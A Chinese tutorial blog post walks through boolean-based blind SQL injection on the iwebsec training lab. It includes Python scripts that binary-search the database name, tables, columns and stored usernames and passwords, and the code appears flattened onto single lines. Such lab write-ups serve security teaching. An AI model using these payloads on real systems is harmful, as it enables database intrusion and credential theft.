SQL注入漏洞 | bool型
创始人
2024-02-27 11:48:34

文章目录

      • 前言
      • MySQL bool型

前言


  • SQL注入漏洞 | iwebsec
  • SQL注入漏洞 | 数字型
  • 参考文章
  • 文章所涉及的脚本代码,可以自己动手敲一次,增进理解,形成自己的SQl注入脚本,以后可以不断复用。

MySQL bool型


  1. 随便试试看回显
    在这里插入图片描述

    在这里插入图片描述

  2. bool注入原理

    我们可以利用回显内容来猜测数据库的内容和信息。
    比如,我们猜测数据库名的长度,length(database())=3。如果数据库名长度真的是3,则length(database())=3这个表达式是真的,则为1;如果数据库名长度不为3,则length(database())=3这个表达式是假的,则为0。因此我们只需要看数据库的回显反应即可,如果回显了,说明我们猜对了,如果不回显则说明我们猜错了。

    在这里插入图片描述
    一个个试,到7就回显了,说明我们猜数据库长度为7是对的。
    在这里插入图片描述

  3. 一个个试太麻烦,我们可以编写脚本帮我们做重复性的东西。

    import requestsurl = "http://8.134.148.36:8001/sqli/03.php"def DBlen():for i in range(20):payload = url + "?id=1 and length(database())={}".format(i)response = requests.get(url=payload)if "welcome to iwebsec!!!" in response.text:print("数据名长度为", i)DBlen()
    

    在这里插入图片描述

  4. MID() 函数

    用于从文本字段中提取字符。
    在这里插入图片描述

    ord() 函数

    以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。
    在这里插入图片描述

  5. 我们继续猜数据库名,一位位地猜。猜数据名的第1位为a,将a转成ASCII码为97,则ord(mid((select database()),1,1))=97
    在这里插入图片描述

    继续猜 ord(mid((select database()),1,1))=105
    在这里插入图片描述
    第一位猜出来了,接着猜第二位是啥。人工试太慢了,我们继续写脚本。

    # 利用二分法
    def DBname():result = ""for i in range(20):l = 32r = 130mid = (l + r) >> 1while (l < r):payload = url + "?id=1 and ord(mid((select database()),{},1))>{}".format(i, mid)response = requests.get(url=payload)if "welcome to iwebsec!!!" in response.text:l = mid + 1else:r = midmid = (l + r) >> 1result = result + chr(mid)print("数据库名为", result)
    

    在这里插入图片描述

  6. 接下来猜iwebsec数据库的表名。
    ord(mid((select database()),1,1))=97中的database换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
    即为ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=95
    在这里插入图片描述
    猜出一位
    在这里插入图片描述
    还是继续用脚本吧

    def DBtable():result = ""for i in range(30):l = 32r = 130mid = (l + r) >> 1while (l < r):payload = url + "?id=1 and ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)response = requests.get(url=payload)if "welcome to iwebsec!!!" in response.text:l = mid + 1else:r = midmid = (l + r) >> 1result = result + chr(mid)print("数据库名的表名为", result)

    在这里插入图片描述

  7. 继续测列名。
    ord(mid((select database()),1,1))=97中的database换成列名group_concat(column_name) from information_schema.columns where table_name=user
    即为ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),1,1))=97

    在这里插入图片描述
    继续上脚本

    def DBcolumn():result = ""for i in range(30):l = 32r = 130mid = (l + r) >> 1while (l < r):payload = url + "?id=1 and ord(mid((select group_concat(column_name) from information_schema.columns where table_name='user'),{},1))>{}".format(i, mid)response = requests.get(url=payload)if "welcome to iwebsec!!!" in response.text:l = mid + 1else:r = midmid = (l + r) >> 1result = result + chr(mid)print("数据库名的表的列为", result)
    

    在这里插入图片描述

  8. 最后猜一下每个列的值
    ord(mid((select database()),1,1))=97中的database换成字段group_concat(id,'--',username,'--',password,'--') from user
    即为 ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),1,1))=97
    在这里插入图片描述
    继续上脚本

    def Getdata():result = ""for i in range(100):l = 32r = 130mid = (l + r) >> 1while (l < r):payload = url + "?id=1 and ord(mid((select group_concat(id,'--',username,'--',password,'--') from user),{},1))>{}".format(i, mid)response = requests.get(url=payload)if "welcome to iwebsec!!!" in response.text:l = mid + 1else:r = midmid = (l + r) >> 1result = result + chr(mid)print("数据库名的表的列为", result)
    

    在这里插入图片描述

  9. 总脚本

    https://pan.baidu.com/s/1VxBWd_vk4-faOv5J6PUVdA?pwd=xxxi 
    

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...